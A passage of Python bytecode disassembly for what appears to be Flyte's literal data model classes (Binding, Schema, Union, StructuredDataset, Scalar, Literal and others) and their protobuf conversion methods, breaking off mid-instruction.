LOAD_CONST ('literals',) CALL_FUNCTION LOAD_CONST ('map',) CALL_FUNCTION RETURN_VALUE LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST binding LOAD_FAST binding LOAD_METHOD to_literal_model CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 24 UNPACK_SEQUENCE STORE_FAST k STORE_FAST binding LOAD_FAST binding LOAD_METHOD to_literal_model CALL_METHOD LOAD_FAST k MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Binding' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7fa6dcb156f0, file "f.py", line 510> LOAD_CONST 'Binding.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object var at 0x7fa6dcb154b0, file "f.py", line 520> LOAD_CONST 'Binding.var' MAKE_FUNCTION CALL_FUNCTION STORE_NAME var LOAD_NAME property LOAD_CONST <code object binding at 0x7fa6dcb15660, file "f.py", line 528> LOAD_CONST 'Binding.binding' MAKE_FUNCTION CALL_FUNCTION STORE_NAME binding LOAD_CONST <code object to_flyte_idl at 0x7fa6dcb15540, file "f.py", line 536> LOAD_CONST 'Binding.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6dcb15420, file "f.py", line 542> LOAD_CONST 'Binding.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST var LOAD_FAST self STORE_ATTR _var LOAD_FAST binding LOAD_FAST self STORE_ATTR _binding LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _var RETURN_VALUE LOAD_FAST self LOAD_ATTR _binding RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR Binding LOAD_FAST self LOAD_ATTR var LOAD_FAST self LOAD_ATTR binding LOAD_METHOD to_flyte_idl CALL_METHOD LOAD_CONST ('var', 'binding') CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST pb2_object LOAD_ATTR var LOAD_GLOBAL BindingData LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR binding CALL_METHOD CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Schema' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7fa6dcb15a50, file "f.py", line 552> LOAD_CONST 'Schema.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object uri at 0x7fa6dcb15780, file "f.py", line 562> LOAD_CONST 'Schema.uri' MAKE_FUNCTION CALL_FUNCTION STORE_NAME uri LOAD_NAME property LOAD_CONST <code object type at 0x7fa6dcb15300, file "f.py", line 569> LOAD_CONST 'Schema.type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type LOAD_CONST <code object to_flyte_idl at 0x7fa6dcb15e40, file "f.py", line 576> LOAD_CONST 'Schema.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6dcb15ed0, file "f.py", line 582> LOAD_CONST 'Schema.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST uri LOAD_FAST self STORE_ATTR _uri LOAD_FAST type LOAD_FAST self STORE_ATTR _type LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _uri RETURN_VALUE LOAD_FAST self LOAD_ATTR _type RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR Schema LOAD_FAST self LOAD_ATTR uri LOAD_FAST self LOAD_ATTR type LOAD_METHOD to_flyte_idl CALL_METHOD LOAD_CONST ('uri', 'type') CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST pb2_object LOAD_ATTR uri LOAD_GLOBAL _SchemaType LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR type CALL_METHOD LOAD_CONST ('uri', 'type') CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Union' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7fa6dcb155d0, file "f.py", line 592> LOAD_CONST 'Union.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object value at 0x7fa6dcb15c90, file "f.py", line 602> LOAD_CONST 'Union.value' MAKE_FUNCTION CALL_FUNCTION STORE_NAME value LOAD_NAME property LOAD_CONST <code object stored_type at 0x7fa6a4ae4660, file "f.py", line 609> LOAD_CONST 'Union.stored_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME stored_type LOAD_CONST <code object to_flyte_idl at 0x7fa6a4ae49c0, file "f.py", line 616> LOAD_CONST 'Union.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6a4ae44b0, file "f.py", line 624> LOAD_CONST 'Union.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST value LOAD_FAST self STORE_ATTR _value LOAD_FAST stored_type LOAD_FAST self STORE_ATTR _type LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _value RETURN_VALUE LOAD_FAST self LOAD_ATTR _type RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR Union LOAD_FAST self LOAD_ATTR value LOAD_METHOD to_flyte_idl CALL_METHOD LOAD_FAST self LOAD_ATTR _type LOAD_METHOD to_flyte_idl CALL_METHOD LOAD_CONST ('value', 'type') CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_GLOBAL Literal LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR value CALL_METHOD LOAD_GLOBAL _LiteralType LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR type CALL_METHOD LOAD_CONST ('value', 'stored_type') CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'StructuredDatasetMetadata' STORE_NAME __qualname__ LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME StructuredDatasetType BINARY_SUBSCR LOAD_CONST ('structured_dataset_type',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fa6a4ae4780, file "f.py", line 637> LOAD_CONST 'StructuredDatasetMetadata.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME StructuredDatasetType LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object structured_dataset_type at 0x7fa6a4ae48a0, file "f.py", line 640> LOAD_CONST 'StructuredDatasetMetadata.structured_dataset_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME structured_dataset_type LOAD_NAME _literals_pb2 LOAD_ATTR StructuredDatasetMetadata LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object to_flyte_idl at 0x7fa6a4ae4ed0, file "f.py", line 644> LOAD_CONST 'StructuredDatasetMetadata.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_NAME _literals_pb2 LOAD_ATTR StructuredDatasetMetadata LOAD_CONST 'StructuredDatasetMetadata' LOAD_CONST ('pb2_object', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object from_flyte_idl at 0x7fa6a4ae4270, file "f.py", line 653> LOAD_CONST 'StructuredDatasetMetadata.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST structured_dataset_type LOAD_FAST self STORE_ATTR _structured_dataset_type LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _structured_dataset_type RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR StructuredDatasetMetadata LOAD_FAST self LOAD_ATTR _structured_dataset_type POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR structured_dataset_type LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 22 LOAD_CONST None LOAD_CONST ('structured_dataset_type',) CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_GLOBAL StructuredDatasetType LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR structured_dataset_type CALL_METHOD LOAD_CONST ('structured_dataset_type',) CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'StructuredDataset' STORE_NAME __qualname__ LOAD_CONST (None,) LOAD_NAME str LOAD_NAME Optional LOAD_NAME StructuredDatasetMetadata BINARY_SUBSCR LOAD_CONST ('uri', 'metadata') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fa6a4ae4a50, file "f.py", line 665> LOAD_CONST 'StructuredDataset.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object uri at 0x7fa6a4ae4b70, file "f.py", line 672> LOAD_CONST 'StructuredDataset.uri' MAKE_FUNCTION CALL_FUNCTION STORE_NAME uri LOAD_NAME property LOAD_NAME Optional LOAD_NAME StructuredDatasetMetadata BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object metadata at 0x7fa6a4ae40c0, file "f.py", line 676> LOAD_CONST 'StructuredDataset.metadata' MAKE_FUNCTION CALL_FUNCTION STORE_NAME metadata LOAD_NAME _literals_pb2 LOAD_ATTR StructuredDataset LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object to_flyte_idl at 0x7fa6a4ae4930, file "f.py", line 680> LOAD_CONST 'StructuredDataset.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_NAME _literals_pb2 LOAD_ATTR StructuredDataset LOAD_CONST 'StructuredDataset' LOAD_CONST ('pb2_object', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object from_flyte_idl at 0x7fa6a4ae4d20, file "f.py", line 686> LOAD_CONST 'StructuredDataset.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST uri LOAD_FAST self STORE_ATTR _uri LOAD_FAST metadata LOAD_FAST self STORE_ATTR _metadata LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _uri RETURN_VALUE LOAD_FAST self LOAD_ATTR _metadata RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR StructuredDataset LOAD_FAST self LOAD_ATTR uri LOAD_FAST self LOAD_ATTR metadata POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR metadata LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 26 LOAD_CONST None LOAD_CONST ('uri', 'metadata') CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST pb2_object LOAD_ATTR uri LOAD_GLOBAL StructuredDatasetMetadata LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR metadata CALL_METHOD LOAD_CONST ('uri', 'metadata') CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'LiteralCollection' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7fa6a4ae4810, file "f.py", line 697> LOAD_CONST 'LiteralCollection.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object literals at 0x7fa6a4ae4f60, file "f.py", line 703> LOAD_CONST 'LiteralCollection.literals' MAKE_FUNCTION CALL_FUNCTION STORE_NAME literals LOAD_CONST <code object to_flyte_idl at 0x7fa6a4ae4030, file "f.py", line 710> LOAD_CONST 'LiteralCollection.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6a4ae4300, file "f.py", line 718> LOAD_CONST 'LiteralCollection.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST literals LOAD_FAST self STORE_ATTR _literals LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _literals RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR LiteralCollection LOAD_CONST <code object <listcomp> at 0x7fa6a4ae4150, file "f.py", line 715> LOAD_CONST 'LiteralCollection.to_flyte_idl.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR literals GET_ITER CALL_FUNCTION LOAD_CONST ('literals',) CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST l LOAD_FAST l LOAD_METHOD to_flyte_idl CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST cls LOAD_CONST <code object <listcomp> at 0x7fa6a4ae4420, file "f.py", line 724> LOAD_CONST 'LiteralCollection.from_flyte_idl.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST pb2_object LOAD_ATTR literals GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST l LOAD_GLOBAL Literal LOAD_METHOD from_flyte_idl LOAD_FAST l CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'LiteralMap' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7fa6a4ae4e40, file "f.py", line 728> LOAD_CONST 'LiteralMap.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object literals at 0x7fa6a4ae46f0, file "f.py", line 734> LOAD_CONST 'LiteralMap.literals' MAKE_FUNCTION CALL_FUNCTION STORE_NAME literals LOAD_CONST <code object to_flyte_idl at 0x7fa6a74f65d0, file "f.py", line 742> LOAD_CONST 'LiteralMap.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6a74f69c0, file "f.py", line 750> LOAD_CONST 'LiteralMap.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST literals LOAD_FAST self STORE_ATTR _literals LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _literals RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR LiteralMap LOAD_CONST <code object <dictcomp> at 0x7fa6a74f64b0, file "f.py", line 747> LOAD_CONST 'LiteralMap.to_flyte_idl.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR literals LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION LOAD_CONST ('literals',) CALL_FUNCTION RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 24 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST v LOAD_METHOD to_flyte_idl CALL_METHOD LOAD_FAST k MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST cls LOAD_CONST <code object <dictcomp> at 0x7fa6a74f6660, file "f.py", line 757> LOAD_CONST 'LiteralMap.from_flyte_idl.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST pb2_object LOAD_ATTR literals LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 26 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_GLOBAL Literal LOAD_METHOD from_flyte_idl LOAD_FAST v CALL_METHOD LOAD_FAST k MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Scalar' STORE_NAME __qualname__ LOAD_CONST (None, None, None, None, None, None, None, None, None) LOAD_NAME Primitive LOAD_NAME Blob LOAD_NAME Binary LOAD_NAME Schema LOAD_NAME Union LOAD_NAME Void LOAD_NAME Error LOAD_NAME Struct LOAD_NAME StructuredDataset LOAD_CONST ('primitive', 'blob', 'binary', 'schema', 'union', 'none_type', 'error', 'generic', 'structured_dataset') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fa6a74f6420, file "f.py", line 762> LOAD_CONST 'Scalar.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object primitive at 0x7fa6a74f6ae0, file "f.py", line 797> LOAD_CONST 'Scalar.primitive' MAKE_FUNCTION CALL_FUNCTION STORE_NAME primitive LOAD_NAME property LOAD_CONST <code object blob at 0x7fa6a74f6db0, file "f.py", line 804> LOAD_CONST 'Scalar.blob' MAKE_FUNCTION CALL_FUNCTION STORE_NAME blob LOAD_NAME property LOAD_CONST <code object binary at 0x7fa6a74f6270, file "f.py", line 811> LOAD_CONST 'Scalar.binary' MAKE_FUNCTION CALL_FUNCTION STORE_NAME binary LOAD_NAME property LOAD_CONST <code object schema at 0x7fa6a74f6a50, file "f.py", line 818> LOAD_CONST 'Scalar.schema' MAKE_FUNCTION CALL_FUNCTION STORE_NAME schema LOAD_NAME property LOAD_CONST <code object union at 0x7fa6a74f66f0, file "f.py", line 825> LOAD_CONST 'Scalar.union' MAKE_FUNCTION CALL_FUNCTION STORE_NAME union LOAD_NAME property LOAD_CONST <code object none_type at 0x7fa6a74f6810, file "f.py", line 832> LOAD_CONST 'Scalar.none_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME none_type LOAD_NAME property LOAD_CONST <code object error at 0x7fa6a74f6e40, file "f.py", line 839> LOAD_CONST 'Scalar.error' MAKE_FUNCTION CALL_FUNCTION STORE_NAME error LOAD_NAME property LOAD_CONST <code object generic at 0x7fa6a74f6300, file "f.py", line 846> LOAD_CONST 'Scalar.generic' MAKE_FUNCTION CALL_FUNCTION STORE_NAME generic LOAD_NAME property LOAD_NAME StructuredDataset LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object structured_dataset at 0x7fa6a74f6540, file "f.py", line 853> LOAD_CONST 'Scalar.structured_dataset' MAKE_FUNCTION CALL_FUNCTION STORE_NAME structured_dataset LOAD_NAME property LOAD_CONST <code object value at 0x7fa6a74f6c00, file "f.py", line 857> LOAD_CONST 'Scalar.value' MAKE_FUNCTION CALL_FUNCTION STORE_NAME value LOAD_CONST <code object to_flyte_idl at 0x7fa6a74f6930, file "f.py", line 875> LOAD_CONST 'Scalar.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6a74f61e0, file "f.py", line 899> LOAD_CONST 'Scalar.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST primitive LOAD_FAST self STORE_ATTR _primitive LOAD_FAST blob LOAD_FAST self STORE_ATTR _blob LOAD_FAST binary LOAD_FAST self STORE_ATTR _binary LOAD_FAST schema LOAD_FAST self STORE_ATTR _schema LOAD_FAST union LOAD_FAST self STORE_ATTR _union LOAD_FAST none_type LOAD_FAST self STORE_ATTR _none_type LOAD_FAST error LOAD_FAST self STORE_ATTR _error LOAD_FAST generic LOAD_FAST self STORE_ATTR _generic LOAD_FAST structured_dataset LOAD_FAST self STORE_ATTR _structured_dataset LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _primitive RETURN_VALUE LOAD_FAST self LOAD_ATTR _blob RETURN_VALUE LOAD_FAST self LOAD_ATTR _binary RETURN_VALUE LOAD_FAST self LOAD_ATTR _schema RETURN_VALUE LOAD_FAST self LOAD_ATTR _union RETURN_VALUE LOAD_FAST self LOAD_ATTR _none_type RETURN_VALUE LOAD_FAST self LOAD_ATTR _error RETURN_VALUE LOAD_FAST self LOAD_ATTR _generic RETURN_VALUE LOAD_FAST self LOAD_ATTR _structured_dataset RETURN_VALUE LOAD_FAST self LOAD_ATTR primitive JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR blob JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR binary JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR schema JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR union JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR none_type JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR error JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR generic JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR structured_dataset RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR Scalar LOAD_FAST self LOAD_ATTR primitive LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR primitive LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 26 LOAD_CONST None LOAD_FAST self LOAD_ATTR blob LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR blob LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 48 LOAD_CONST None LOAD_FAST self LOAD_ATTR binary LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR binary LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 70 LOAD_CONST None LOAD_FAST self LOAD_ATTR schema LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR schema LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 92 LOAD_CONST None LOAD_FAST self LOAD_ATTR union LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR union LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 114 LOAD_CONST None LOAD_FAST self LOAD_ATTR none_type LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR none_type LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 136 LOAD_CONST None LOAD_FAST self LOAD_ATTR error LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR error LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 158 LOAD_CONST None LOAD_FAST self LOAD_ATTR generic LOAD_FAST self LOAD_ATTR structured_dataset LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR structured_dataset LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 184 LOAD_CONST None LOAD_CONST ('primitive', 'blob', 'binary', 'schema', 'union', 'none_type', 'error', 'generic', 'structured_dataset') CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'primitive' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL Primitive LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR primitive CALL_METHOD JUMP_FORWARD to 26 LOAD_CONST None LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'blob' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL Blob LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR blob CALL_METHOD JUMP_FORWARD to 50 LOAD_CONST None LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'binary' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL Binary LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR binary CALL_METHOD JUMP_FORWARD to 74 LOAD_CONST None LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'schema' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL Schema LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR schema CALL_METHOD JUMP_FORWARD to 98 LOAD_CONST None LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'union' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL Union LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR union CALL_METHOD JUMP_FORWARD to 122 LOAD_CONST None LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'none_type' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL Void LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR none_type CALL_METHOD JUMP_FORWARD to 146 LOAD_CONST None LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'error' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST pb2_object LOAD_ATTR error JUMP_FORWARD to 164 LOAD_CONST None LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'generic' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST pb2_object LOAD_ATTR generic JUMP_FORWARD to 182 LOAD_CONST None LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'structured_dataset' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL StructuredDataset LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR structured_dataset CALL_METHOD JUMP_FORWARD to 206 LOAD_CONST None LOAD_CONST ('primitive', 'blob', 'binary', 'schema', 'union', 'none_type', 'error', 'generic', 'structured_dataset') CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Literal' STORE_NAME __qualname__ LOAD_CONST (None, None, None, None, None) LOAD_NAME Optional LOAD_NAME Scalar BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME LiteralCollection BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME LiteralMap BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Dict LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('scalar', 'collection', 'map', 'hash', 'metadata') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fa6f0f654b0, file "f.py", line 947> LOAD_CONST 'Literal.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object scalar at 0x7fa6f0f65ed0, file "f.py", line 968> LOAD_CONST 'Literal.scalar' MAKE_FUNCTION CALL_FUNCTION STORE_NAME scalar LOAD_NAME property LOAD_CONST <code object collection at 0x7fa6f0f65c00, file "f.py", line 976> LOAD_CONST 'Literal.collection' MAKE_FUNCTION CALL_FUNCTION STORE_NAME collection LOAD_NAME property LOAD_CONST <code object map at 0x7fa6f0f65d20, file "f.py", line 984> LOAD_CONST 'Literal.map' MAKE_FUNCTION CALL_FUNCTION STORE_NAME map LOAD_NAME property LOAD_CONST <code object value at 0x7fa6f0f65420, file "f.py", line 992> LOAD_CONST 'Literal.value' MAKE_FUNCTION CALL_FUNCTION STORE_NAME value LOAD_NAME property LOAD_CONST <code object hash at 0x7fa6f0f65a50, file "f.py", line 1000> LOAD_CONST 'Literal.hash' MAKE_FUNCTION CALL_FUNCTION STORE_NAME hash LOAD_NAME hash LOAD_ATTR setter LOAD_CONST <code object hash at 0x7fa6f0f65c90, file "f.py", line 1008> LOAD_CONST 'Literal.hash' MAKE_FUNCTION CALL_FUNCTION STORE_NAME hash LOAD_NAME property LOAD_NAME Optional LOAD_NAME Dict LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object metadata at 0x7fa6f0f659c0, file "f.py", line 1012> LOAD_CONST 'Literal.metadata' MAKE_FUNCTION CALL_FUNCTION STORE_NAME metadata LOAD_CONST <code object to_flyte_idl at 0x7fa6f0f65f60, file "f.py", line 1019> LOAD_CONST 'Literal.to_flyte_idl' MAKE_FUNCTION STORE_NAME to_flyte_idl LOAD_NAME classmethod LOAD_CONST <code object from_flyte_idl at 0x7fa6f0f65810, file "f.py", line 1033> LOAD_CONST 'Literal.from_flyte_idl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_flyte_idl LOAD_CONST None RETURN_VALUE LOAD_FAST scalar LOAD_FAST self STORE_ATTR _scalar LOAD_FAST collection LOAD_FAST self STORE_ATTR _collection LOAD_FAST map LOAD_FAST self STORE_ATTR _map LOAD_FAST hash LOAD_FAST self STORE_ATTR _hash LOAD_FAST metadata LOAD_FAST self STORE_ATTR _metadata LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _scalar RETURN_VALUE LOAD_FAST self LOAD_ATTR _collection RETURN_VALUE LOAD_FAST self LOAD_ATTR _map RETURN_VALUE LOAD_FAST self LOAD_ATTR scalar JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR collection JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR map RETURN_VALUE LOAD_FAST self LOAD_ATTR _hash RETURN_VALUE LOAD_FAST value LOAD_FAST self STORE_ATTR _hash LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _metadata RETURN_VALUE LOAD_GLOBAL _literals_pb2 LOAD_ATTR Literal LOAD_FAST self 